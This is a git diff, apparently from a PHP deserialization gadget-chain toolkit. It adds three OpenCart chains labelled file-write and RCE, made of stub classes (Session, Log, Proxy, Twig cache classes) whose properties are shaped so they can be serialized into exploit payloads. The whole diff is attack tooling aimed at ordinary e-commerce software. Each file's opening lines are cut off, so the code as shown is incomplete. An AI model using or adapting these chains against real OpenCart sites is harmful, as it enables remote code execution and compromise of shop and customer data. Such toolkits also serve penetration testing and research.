diff --git a/gadgetchains/OpenCart/FW/1/chain.php b/gadgetchains/OpenCart/FW/1/chain.php new file mode 100644 index 00000000..994ae48a --- /dev/null +++ b/gadgetchains/OpenCart/FW/1/chain.php @@ -0,0 +1,26 @@ +connection = $connection; + } + } +} + +namespace Opencart\System\Library +{ + class Session + { + protected object $adaptor; + protected string $session_id; + + public function __construct($adaptor, $session_id) + { + $this->adaptor = $adaptor; + $this->session_id = $session_id; + } + } + + class Log + { + private string $file; + + public function __construct($file) { + $this->file = $file; + } + } +} diff --git a/gadgetchains/OpenCart/FW/2/chain.php b/gadgetchains/OpenCart/FW/2/chain.php new file mode 100644 index 00000000..e076fa97 --- /dev/null +++ b/gadgetchains/OpenCart/FW/2/chain.php @@ -0,0 +1,28 @@ +connection = $connection; + } + } +} + +namespace { + class Session + { + protected object $adaptor; + protected string $session_id; + public $data; + + public function __construct($adaptor, $session_id, $data) + { + $this->adaptor = $adaptor; + $this->session_id = $session_id; + $this->data = $data; + } + } + + class Twig_Cache_Filesystem + { + // for OpenCart 3.0.3.3 or older. + } +} + +namespace Twig\Cache +{ + class FilesystemCache + { + + } +} diff --git a/gadgetchains/OpenCart/RCE/1/chain.php b/gadgetchains/OpenCart/RCE/1/chain.php new file mode 100644 index 00000000..77d2fdb8 --- /dev/null +++ b/gadgetchains/OpenCart/RCE/1/chain.php @@ -0,0 +1,26 @@ +connection = $connection; + } + } +} + +namespace Opencart\System\Library +{ + class Session + { + protected object $adaptor; + protected string $session_id; + + public function __construct($adaptor, $session_id) + { + $this->adaptor = $adaptor; + $this->session_id = $session_id; + } + } +} + +namespace Opencart\System\Engine +{ + Class Proxy + { + protected $data = []; + + public function __construct($key, $function) + { + $this->data[$key] = $function; + } + } +}